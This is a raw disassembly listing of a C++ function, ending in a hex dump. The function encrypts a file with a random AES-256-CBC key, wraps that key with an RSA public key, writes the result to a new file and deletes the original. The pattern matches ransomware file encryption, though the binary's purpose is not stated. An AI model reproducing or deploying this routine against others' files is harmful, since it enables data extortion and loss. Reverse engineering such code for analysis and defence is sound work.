140006523call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006528lea rax, [rbp+5824]
14000652fmov rcx, rax
140006532call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006537lea rax, [rbp+5744]
14000653emov rcx, rax
140006541call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006546lea rax, [rbp+5791]
14000654dmov rcx, rax
140006550call std::__new_allocator<char>::~__new_allocator()
140006555nop
140006556mov ebx, 0
14000655bjmp 0x14000707e
140006560
140006560loc_140006560:
140006560lea rdx, [rbp+16]
140006564lea rax, [rbp+64]
140006568mov r8l, 4
14000656emov rcx, rax
140006571call std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream<std::filesystem::__cxx11::path, std::filesystem::__cxx11::path>(std::filesystem::__cxx11::path const&, std::_Ios_Openmode)
140006576lea rax, [rbp+64]
14000657amov rcx, rax
14000657dcall std::basic_ofstream<char, std::char_traits<char>>::is_open()
140006582xor eax, 1
140006585test al, al
140006587je 0x14000665c
14000658dlea rax, [rbp+5903]
140006594mov [rbp+7320], rax
14000659bnop
14000659cnop
14000659dlea rcx, [rbp+5903]
1400065a4lea rdx, [rip+0x100c58]
1400065ablea rax, [rbp+5856]
1400065b2mov r8, rcx
1400065b5mov rcx, rax
1400065b8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400065bdlea rax, [rbp+5936]
1400065c4lea rdx, [rbp+16]
1400065c8mov rcx, rax
1400065cbcall std::filesystem::__cxx11::path::string() const
1400065d0lea rax, [rbp+5904]
1400065d7lea rcx, [rbp+5936]
1400065delea rdx, [rip+0x101633]
1400065e5mov r8, rcx
1400065e8mov rcx, rax
1400065ebcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
1400065f0lea rdx, [rbp+5856]
1400065f7lea rax, [rbp+5904]
1400065femov rcx, rax
140006601call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006606lea rax, [rbp+5904]
14000660dmov rcx, rax
140006610call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006615lea rax, [rbp+5936]
14000661cmov rcx, rax
14000661fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006624lea rax, [rbp+5856]
14000662bmov rcx, rax
14000662ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006633lea rax, [rbp+5903]
14000663amov rcx, rax
14000663dcall std::__new_allocator<char>::~__new_allocator()
140006642nop
140006643lea rax, [rbp+528]
14000664amov rcx, rax
14000664dcall std::basic_ifstream<char, std::char_traits<char>>::close()
140006652mov ebx, 0
140006657jmp 0x140007061
14000665c
14000665cloc_14000665c:
14000665clea rax, [rbp-16]
140006660mov edx, 32
140006665mov rcx, rax
140006668call RAND_bytes
14000666dlea rax, [rbp+5696]
140006674mov edx, 16
140006679mov rcx, rax
14000667ccall RAND_bytes
140006681mov rax, [rbp+7416]
140006688mov edx, 0
14000668dmov rcx, rax
140006690call EVP_PKEY_CTX_new
140006695mov [rbp+7368], rax
14000669ccmp [rbp+7368], 0
1400066a4jne 0x140006768
1400066aalea rax, [rbp+6015]
1400066b1mov [rbp+7312], rax
1400066b8nop
1400066b9nop
1400066balea rcx, [rbp+6015]
1400066c1lea rdx, [rip+0x10157d]
1400066c8lea rax, [rbp+5968]
1400066cfmov r8, rcx
1400066d2mov rcx, rax
1400066d5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400066dalea rax, [rbp+6063]
1400066e1mov [rbp+7304], rax
1400066e8nop
1400066e9nop
1400066ealea rcx, [rbp+6063]
1400066f1lea rdx, [rip+0x101553]
1400066f8lea rax, [rbp+6016]
1400066ffmov r8, rcx
140006702mov rcx, rax
140006705call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000670alea rdx, [rbp+5968]
140006711lea rax, [rbp+6016]
140006718mov rcx, rax
14000671bcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006720lea rax, [rbp+6016]
140006727mov rcx, rax
14000672acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000672flea rax, [rbp+6063]
140006736mov rcx, rax
140006739call std::__new_allocator<char>::~__new_allocator()
14000673enop
14000673flea rax, [rbp+5968]
140006746mov rcx, rax
140006749call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000674elea rax, [rbp+6015]
140006755mov rcx, rax
140006758call std::__new_allocator<char>::~__new_allocator()
14000675dnop
14000675emov ebx, 0
140006763jmp 0x140007061
140006768
140006768loc_140006768:
140006768mov rax, [rbp+7368]
14000676fmov rcx, rax
140006772call EVP_PKEY_encrypt_init
140006777test eax, eax
140006779setle al
14000677ctest al, al
14000677eje 0x140006851
140006784lea rax, [rbp+6111]
14000678bmov [rbp+7296], rax
140006792nop
140006793nop
140006794lea rcx, [rbp+6111]
14000679blea rdx, [rip+0x1014a3]
1400067a2lea rax, [rbp+6064]
1400067a9mov r8, rcx
1400067acmov rcx, rax
1400067afcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400067b4lea rax, [rbp+6159]
1400067bbmov [rbp+7288], rax
1400067c2nop
1400067c3nop
1400067c4lea rcx, [rbp+6159]
1400067cblea rdx, [rip+0x101497]
1400067d2lea rax, [rbp+6112]
1400067d9mov r8, rcx
1400067dcmov rcx, rax
1400067dfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400067e4lea rdx, [rbp+6064]
1400067eblea rax, [rbp+6112]
1400067f2mov rcx, rax
1400067f5call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400067falea rax, [rbp+6112]
140006801mov rcx, rax
140006804call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006809lea rax, [rbp+6159]
140006810mov rcx, rax
140006813call std::__new_allocator<char>::~__new_allocator()
140006818nop
140006819lea rax, [rbp+6064]
140006820mov rcx, rax
140006823call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006828lea rax, [rbp+6111]
14000682fmov rcx, rax
140006832call std::__new_allocator<char>::~__new_allocator()
140006837nop
140006838mov rax, [rbp+7368]
14000683fmov rcx, rax
140006842call EVP_PKEY_CTX_free
140006847mov ebx, 0
14000684cjmp 0x140007061
140006851
140006851loc_140006851:
140006851mov rax, [rbp+7368]
140006858mov edx, 4
14000685dmov rcx, rax
140006860call EVP_PKEY_CTX_set_rsa_padding
140006865test eax, eax
140006867setle al
14000686atest al, al
14000686cje 0x14000693f
140006872lea rax, [rbp+6207]
140006879mov [rbp+7280], rax
140006880nop
140006881nop
140006882lea rcx, [rbp+6207]
140006889lea rdx, [rip+0x1013b5]
140006890lea rax, [rbp+6160]
140006897mov r8, rcx
14000689amov rcx, rax
14000689dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400068a2lea rax, [rbp+6255]
1400068a9mov [rbp+7272], rax
1400068b0nop
1400068b1nop
1400068b2lea rcx, [rbp+6255]
1400068b9lea rdx, [rip+0x1013c5]
1400068c0lea rax, [rbp+6208]
1400068c7mov r8, rcx
1400068camov rcx, rax
1400068cdcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400068d2lea rdx, [rbp+6160]
1400068d9lea rax, [rbp+6208]
1400068e0mov rcx, rax
1400068e3call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400068e8lea rax, [rbp+6208]
1400068efmov rcx, rax
1400068f2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400068f7lea rax, [rbp+6255]
1400068femov rcx, rax
140006901call std::__new_allocator<char>::~__new_allocator()
140006906nop
140006907lea rax, [rbp+6160]
14000690emov rcx, rax
140006911call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006916lea rax, [rbp+6207]
14000691dmov rcx, rax
140006920call std::__new_allocator<char>::~__new_allocator()
140006925nop
140006926mov rax, [rbp+7368]
14000692dmov rcx, rax
140006930call EVP_PKEY_CTX_free
140006935mov ebx, 0
14000693ajmp 0x140007061
14000693f
14000693floc_14000693f:
14000693flea r8, [rbp-16]
140006943lea rcx, [rbp+5688]
14000694alea rdx, [rbp+1008]
140006951mov rax, [rbp+7368]
140006958mov [rsp+32], 32
140006961mov r9, r8
140006964mov r8, rcx
140006967mov rcx, rax
14000696acall EVP_PKEY_encrypt
14000696ftest eax, eax
140006971setle al
140006974test al, al
140006976je 0x140006a49
14000697clea rax, [rbp+6303]
140006983mov [rbp+7264], rax
14000698anop
14000698bnop
14000698clea rcx, [rbp+6303]
140006993lea rdx, [rip+0x1012ab]
14000699alea rax, [rbp+6256]
1400069a1mov r8, rcx
1400069a4mov rcx, rax
1400069a7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400069aclea rax, [rbp+6351]
1400069b3mov [rbp+7256], rax
1400069banop
1400069bbnop
1400069bclea rcx, [rbp+6351]
1400069c3lea rdx, [rip+0x1012d6]
1400069calea rax, [rbp+6304]
1400069d1mov r8, rcx
1400069d4mov rcx, rax
1400069d7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400069dclea rdx, [rbp+6256]
1400069e3lea rax, [rbp+6304]
1400069eamov rcx, rax
1400069edcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400069f2lea rax, [rbp+6304]
1400069f9mov rcx, rax
1400069fccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006a01lea rax, [rbp+6351]
140006a08mov rcx, rax
140006a0bcall std::__new_allocator<char>::~__new_allocator()
140006a10nop
140006a11lea rax, [rbp+6256]
140006a18mov rcx, rax
140006a1bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006a20lea rax, [rbp+6303]
140006a27mov rcx, rax
140006a2acall std::__new_allocator<char>::~__new_allocator()
140006a2fnop
140006a30mov rax, [rbp+7368]
140006a37mov rcx, rax
140006a3acall EVP_PKEY_CTX_free
140006a3fmov ebx, 0
140006a44jmp 0x140007061
140006a49
140006a49loc_140006a49:
140006a49mov rax, [rbp+7368]
140006a50mov rcx, rax
140006a53call EVP_PKEY_CTX_free
140006a58lea rdx, [rbp+5688]
140006a5flea rax, [rbp+64]
140006a63mov r8l, 8
140006a69mov rcx, rax
140006a6ccall std::ostream::write(char const*, long long)
140006a71mov rax, [rbp+5688]
140006a78mov rcx, rax
140006a7blea rdx, [rbp+1008]
140006a82lea rax, [rbp+64]
140006a86mov r8, rcx
140006a89mov rcx, rax
140006a8ccall std::ostream::write(char const*, long long)
140006a91lea rdx, [rbp+5696]
140006a98lea rax, [rbp+64]
140006a9cmov r8l, 16
140006aa2mov rcx, rax
140006aa5call std::ostream::write(char const*, long long)
140006aaacall EVP_CIPHER_CTX_new
140006aafmov [rbp+7360], rax
140006ab6cmp [rbp+7360], 0
140006abejne 0x140006b82
140006ac4lea rax, [rbp+6399]
140006acbmov [rbp+7248], rax
140006ad2nop
140006ad3nop
140006ad4lea rcx, [rbp+6399]
140006adblea rdx, [rip+0x101163]
140006ae2lea rax, [rbp+6352]
140006ae9mov r8, rcx
140006aecmov rcx, rax
140006aefcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006af4lea rax, [rbp+6447]
140006afbmov [rbp+7240], rax
140006b02nop
140006b03nop
140006b04lea rcx, [rbp+6447]
140006b0blea rdx, [rip+0x1011b2]
140006b12lea rax, [rbp+6400]
140006b19mov r8, rcx
140006b1cmov rcx, rax
140006b1fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006b24lea rdx, [rbp+6352]
140006b2blea rax, [rbp+6400]
140006b32mov rcx, rax
140006b35call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006b3alea rax, [rbp+6400]
140006b41mov rcx, rax
140006b44call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006b49lea rax, [rbp+6447]
140006b50mov rcx, rax
140006b53call std::__new_allocator<char>::~__new_allocator()
140006b58nop
140006b59lea rax, [rbp+6352]
140006b60mov rcx, rax
140006b63call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006b68lea rax, [rbp+6399]
140006b6fmov rcx, rax
140006b72call std::__new_allocator<char>::~__new_allocator()
140006b77nop
140006b78mov ebx, 0
140006b7djmp 0x140007061
140006b82
140006b82loc_140006b82:
140006b82call EVP_aes_256_cbc
140006b87mov rcx, rax
140006b8alea r8, [rbp-16]
140006b8emov rax, [rbp+7360]
140006b95lea rdx, [rbp+5696]
140006b9cmov [rsp+32], rdx
140006ba1mov r9, r8
140006ba4mov r8l, 0
140006baamov rdx, rcx
140006badmov rcx, rax
140006bb0call EVP_EncryptInit_ex
140006bb5test eax, eax
140006bb7setle al
140006bbatest al, al
140006bbcje 0x140006c8f
140006bc2lea rax, [rbp+6495]
140006bc9mov [rbp+7232], rax
140006bd0nop
140006bd1nop
140006bd2lea rcx, [rbp+6495]
140006bd9lea rdx, [rip+0x101065]
140006be0lea rax, [rbp+6448]
140006be7mov r8, rcx
140006beamov rcx, rax
140006bedcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006bf2lea rax, [rbp+6542]
140006bf9mov [rbp+7224], rax
140006c00nop
140006c01nop
140006c02lea rcx, [rbp+6542]
140006c09lea rdx, [rip+0x1010d2]
140006c10lea rax, [rbp+6496]
140006c17mov r8, rcx
140006c1amov rcx, rax
140006c1dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006c22lea rdx, [rbp+6448]
140006c29lea rax, [rbp+6496]
140006c30mov rcx, rax
140006c33call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006c38lea rax, [rbp+6496]
140006c3fmov rcx, rax
140006c42call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006c47lea rax, [rbp+6542]
140006c4emov rcx, rax
140006c51call std::__new_allocator<char>::~__new_allocator()
140006c56nop
140006c57lea rax, [rbp+6448]
140006c5emov rcx, rax
140006c61call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006c66lea rax, [rbp+6495]
140006c6dmov rcx, rax
140006c70call std::__new_allocator<char>::~__new_allocator()
140006c75nop
140006c76mov rax, [rbp+7360]
140006c7dmov rcx, rax
140006c80call EVP_CIPHER_CTX_free
140006c85mov ebx, 0
140006c8ajmp 0x140007061
140006c8f
140006c8floc_140006c8f:
140006c8fmov [rbp+7352], 4096
140006c9alea rax, [rbp+6543]
140006ca1mov [rbp+7216], rax
140006ca8nop
140006ca9nop
140006caalea rdx, [rbp+6543]
140006cb1lea rax, [rbp+5664]
140006cb8mov r8, rdx
140006cbbmov edx, 4096
140006cc0mov rcx, rax
140006cc3call std::vector<char, std::allocator<char>>::vector(unsigned long long, std::allocator<char> const&)
140006cc8lea rax, [rbp+6543]
140006ccfmov rcx, rax
140006cd2call std::__new_allocator<char>::~__new_allocator()
140006cd7nop
140006cd8jmp 0x140006e18
140006cdd
140006cddloc_140006cdd:
140006cddlea rax, [rbp+528]
140006ce4mov rcx, rax
140006ce7call std::istream::gcount() const
140006cecmov [rbp+7348], eax
140006cf2lea rax, [rbp+5664]
140006cf9mov rcx, rax
140006cfccall std::vector<char, std::allocator<char>>::data()
140006d01mov r8, rax
140006d04lea r10, [rbp+5660]
140006d0blea rdx, [rbp+1520]
140006d12mov rax, [rbp+7360]
140006d19mov ecx, [rbp+7348]
140006d1fmov [rsp+32], ecx
140006d23mov r9, r8
140006d26mov r8, r10
140006d29mov rcx, rax
140006d2ccall EVP_EncryptUpdate
140006d31test eax, eax
140006d33setle al
140006d36test al, al
140006d38je 0x140006df9
140006d3elea rax, [rbp+6591]
140006d45mov [rbp+7208], rax
140006d4cnop
140006d4dnop
140006d4elea rcx, [rbp+6591]
140006d55lea rdx, [rip+0x1004a7]
140006d5clea rax, [rbp+6544]
140006d63mov r8, rcx
140006d66mov rcx, rax
140006d69call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006d6elea rax, [rbp+6624]
140006d75mov rdx, [rbp+7408]
140006d7cmov rcx, rax
140006d7fcall std::filesystem::__cxx11::path::string() const
140006d84lea rax, [rbp+6592]
140006d8blea rcx, [rbp+6624]
140006d92lea rdx, [rip+0x100f67]
140006d99mov r8, rcx
140006d9cmov rcx, rax
140006d9fcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140006da4lea rdx, [rbp+6544]
140006dablea rax, [rbp+6592]
140006db2mov rcx, rax
140006db5call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006dbalea rax, [rbp+6592]
140006dc1mov rcx, rax
140006dc4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006dc9lea rax, [rbp+6624]
140006dd0mov rcx, rax
140006dd3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006dd8lea rax, [rbp+6544]
140006ddfmov rcx, rax
140006de2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006de7lea rax, [rbp+6591]
140006deemov rcx, rax
140006df1call std::__new_allocator<char>::~__new_allocator()
140006df6nop
140006df7jmp 0x140006e55
140006df9
140006df9loc_140006df9:
140006df9mov eax, [rbp+5660]
140006dffmovsxd rcx, eax
140006e02lea rdx, [rbp+1520]
140006e09lea rax, [rbp+64]
140006e0dmov r8, rcx
140006e10mov rcx, rax
140006e13call std::ostream::write(char const*, long long)
140006e18
140006e18loc_140006e18:
140006e18lea rax, [rbp+5664]
140006e1fmov rcx, rax
140006e22call std::vector<char, std::allocator<char>>::data()
140006e27mov rdx, rax
140006e2alea rax, [rbp+528]
140006e31mov r8l, 4096
140006e37mov rcx, rax
140006e3acall std::istream::read(char*, long long)
140006e3fmov rcx, rax
140006e42call std::istream::gcount() const
140006e47test rax, rax
140006e4asetg al
140006e4dtest al, al
140006e4fjne 0x140006cdd
140006e55
140006e55loc_140006e55:
140006e55lea rcx, [rbp+5660]
140006e5clea rdx, [rbp+1520]
140006e63mov rax, [rbp+7360]
140006e6amov r8, rcx
140006e6dmov rcx, rax
140006e70call EVP_EncryptFinal_ex
140006e75test eax, eax
140006e77setle al
140006e7atest al, al
140006e7cje 0x140006f3c
140006e82lea rax, [rbp+6703]
140006e89mov [rbp+7200], rax
140006e90nop
140006e91nop
140006e92lea rcx, [rbp+6703]
140006e99lea rdx, [rip+0x100363]
140006ea0lea rax, [rbp+6656]
140006ea7mov r8, rcx
140006eaamov rcx, rax
140006eadcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006eb2lea rax, [rbp+6736]
140006eb9mov rdx, [rbp+7408]
140006ec0mov rcx, rax
140006ec3call std::filesystem::__cxx11::path::string() const
140006ec8lea rax, [rbp+6704]
140006ecflea rcx, [rbp+6736]
140006ed6lea rdx, [rip+0x100e43]
140006eddmov r8, rcx
140006ee0mov rcx, rax
140006ee3call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140006ee8lea rdx, [rbp+6656]
140006eeflea rax, [rbp+6704]
140006ef6mov rcx, rax
140006ef9call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006efelea rax, [rbp+6704]
140006f05mov rcx, rax
140006f08call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006f0dlea rax, [rbp+6736]
140006f14mov rcx, rax
140006f17call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006f1clea rax, [rbp+6656]
140006f23mov rcx, rax
140006f26call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006f2blea rax, [rbp+6703]
140006f32mov rcx, rax
140006f35call std::__new_allocator<char>::~__new_allocator()
140006f3ajmp 0x140006f5b
140006f3c
140006f3cloc_140006f3c:
140006f3cmov eax, [rbp+5660]
140006f42movsxd rcx, eax
140006f45lea rdx, [rbp+1520]
140006f4clea rax, [rbp+64]
140006f50mov r8, rcx
140006f53mov rcx, rax
140006f56call std::ostream::write(char const*, long long)
140006f5b
140006f5bloc_140006f5b:
140006f5bmov rax, [rbp+7360]
140006f62mov rcx, rax
140006f65call EVP_CIPHER_CTX_free
140006f6alea rax, [rbp+528]
140006f71mov rcx, rax
140006f74call std::basic_ifstream<char, std::char_traits<char>>::close()
140006f79lea rax, [rbp+64]
140006f7dmov rcx, rax
140006f80call std::basic_ofstream<char, std::char_traits<char>>::close()
140006f85mov rax, [rbp+7408]
140006f8cmov rcx, rax
140006f8fcall std::filesystem::remove(std::filesystem::__cxx11::path const&)
140006f94lea rax, [rbp+6815]
140006f9bmov [rbp+7192], rax
140006fa2nop
140006fa3nop
140006fa4lea rcx, [rbp+6815]
140006fablea rdx, [rip+0x1004f9]
140006fb2lea rax, [rbp+6768]
140006fb9mov r8, rcx
140006fbcmov rcx, rax
140006fbfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006fc4lea rax, [rbp+6848]
140006fcbmov rdx, [rbp+7408]
140006fd2mov rcx, rax
140006fd5call std::filesystem::__cxx11::path::string() const
140006fdalea rax, [rbp+6816]
140006fe1lea rcx, [rbp+6848]
140006fe8lea rdx, [rip+0x100d50]
140006fefmov r8, rcx
140006ff2mov rcx, rax
140006ff5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140006ffalea rdx, [rbp+6768]
140007001lea rax, [rbp+6816]
140007008mov rcx, rax
14000700bcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140007010lea rax, [rbp+6816]
140007017mov rcx, rax
14000701acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000701flea rax, [rbp+6848]
140007026mov rcx, rax
140007029call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000702elea rax, [rbp+6768]
140007035mov rcx, rax
140007038call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000703dlea rax, [rbp+6815]
140007044mov rcx, rax
140007047call std::__new_allocator<char>::~__new_allocator()
14000704cnop
14000704dlea rax, [rbp+5664]
140007054mov rcx, rax
140007057call std::vector<char, std::allocator<char>>::~vector()
14000705cmov ebx, 1
140007061
140007061loc_140007061:
140007061lea rax, [rbp+64]
140007065mov rcx, rax
140007068call std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
14000706dcmp ebx, 1
140007070jne 0x140007079
140007072mov ebx, 1
140007077jmp 0x14000707e
140007079
140007079loc_140007079:
140007079mov ebx, 0
14000707e
14000707eloc_14000707e:
14000707elea rax, [rbp+528]
140007085mov rcx, rax
140007088call std::basic_ifstream<char, std::char_traits<char>>::~basic_ifstream()
14000708dcmp ebx, 1
140007090jne 0x140007099
140007092mov ebx, 1
140007097jmp 0x14000709e
140007099
140007099loc_140007099:
140007099mov ebx, 0
14000709e
14000709eloc_14000709e:
14000709elea rax, [rbp+16]
1400070a2mov rcx, rax
1400070a5call std::filesystem::__cxx11::path::~path()
1400070aacmp ebx, 1
1400070adjne 0x1400070b6
1400070afmov ebx, 1
1400070b4jmp 0x1400070bb
1400070b6
1400070b6loc_1400070b6:
1400070b6mov ebx, 0
1400070bb
1400070bbloc_1400070bb:
1400070bblea rax, [rbp-48]
1400070bfmov rcx, rax
1400070c2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400070c7cmp ebx, 1
1400070cajne 0x1400070d3
1400070ccmov ebx, 1
1400070d1jmp 0x1400070d8
1400070d3
1400070d3loc_1400070d3:
1400070d3mov ebx, 0
1400070d8
1400070d8loc_1400070d8:
1400070d8lea rax, [rbp-80]
1400070dcmov rcx, rax
1400070dfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400070e4cmp ebx, 1
1400070e7jmp 0x14000789a
1400070ec
1400070ec 48 89 c6 48 H..H
1400070f0 89 d3 48 8d 85 50 16 00 00 48 89 c1 e8 cf a3 0d ..H..P...H......
140007100 00 e9 7b 04 00 00 48 89 c6 48 89 d3 48 8d 85 a0 ..{...H..H..H...
140007110 16 00 00 48 89 c1 e8 b5 a3 0d 00 eb 06 48 89 c6 ...H.........H..
140007120 48 89 d3 48 8d 85 c0 16 00 00 48 89 c1 e8 9e a3 H..H......H.....
140007130 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 70 16 00 ....H..H..H..p..
140007140 00 48 89 c1 e8 87 a3 0d 00 eb 06 48 89 c6 48 89 .H.........H..H.
140007150 d3 48 8d 85 9f 16 00 00 48 89 c1 e8 70 6c 0c 00 .H......H...pl..
140007160 90 e9 dc 03 00 00 48 89 c6 48 89 d3 48 8d 85 10 ......H..H..H...
140007170 17 00 00 48 89 c1 e8 55 a3 0d 00 eb 06 48 89 c6 ...H...U.....H..
140007180 48 89 d3 48 8d 85 30 17 00 00 48 89 c1 e8 3e a3 H..H..0...H...>.
140007190 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 e0 16 00 ....H..H..H.....
1400071a0 00 48 89 c1 e8 27 a3 0d 00 eb 06 48 89 c6 48 89 .H...'.....H..H.
1400071b0 d3 48 8d 85 0f 17 00 00 48 89 c1 e8 10 6c 0c 00 .H......H....l..
1400071c0 90 e9 68 03 00 00 48 89 c6 48 89 d3 48 8d 85 80 ..h...H..H..H...
1400071d0 17 00 00 48 89 c1 e8 f5 a2 0d 00 eb 06 48 89 c6 ...H.........H..
1400071e0 48 89 d3 48 8d 85 af 17 00 00 48 89 c1 e8 de 6b H..H......H....k
1400071f0 0c 00 90 48 8d 85 50 17 00 00 48 89 c1 e8 ce a2 ...H..P...H.....
140007200 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 7f 17 00 ....H..H..H.....
140007210 00 48 89 c1 e8 b7 6b 0c 00 90 e9 0f 03 00 00 48 .H....k........H
140007220 89 c6 48 89 d3 48 8d 85 e0 17 00 00 48 89 c1 e8 ..H..H......H...
140007230 9c a2 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 0f ......H..H..H...
140007240 18 00 00 48 89 c1 e8 85 6b 0c 00 90 48 8d 85 b0 ...H....k...H...
140007250 17 00 00 48 89 c1 e8 75 a2 0d 00 eb 06 48 89 c6 ...H...u.....H..
140007260 48 89 d3 48 8d 85 df 17 00 00 48 89 c1 e8 5e 6b H..H......H...^k
140007270 0c 00 90 e9 b6 02 00 00 48 89 c6 48 89 d3 48 8d ........H..H..H.
140007280 85 40 18 00 00 48 89 c1 e8 43 a2 0d 00 eb 06 48 .@...H...C.....H
140007290 89 c6 48 89 d3 48 8d 85 6f 18 00 00 48 89 c1 e8 ..H..H..o...H...
1400072a0 2c 6b 0c 00 90 48 8d 85 10 18 00 00 48 89 c1 e8 ,k...H......H...
1400072b0 1c a2 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 3f ......H..H..H..?
1400072c0 18 00 00 48 89 c1 e8 05 6b 0c 00 90 e9 5d 02 00 ...H....k....]..
1400072d0 00 48 89 c6 48 89 d3 48 8d 85 a0 18 00 00 48 89 .H..H..H......H.
1400072e0 c1 e8 ea a1 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ........H..H..H.
1400072f0 85 cf 18 00 00 48 89 c1 e8 d3 6a 0c 00 90 48 8d .....H....j...H.
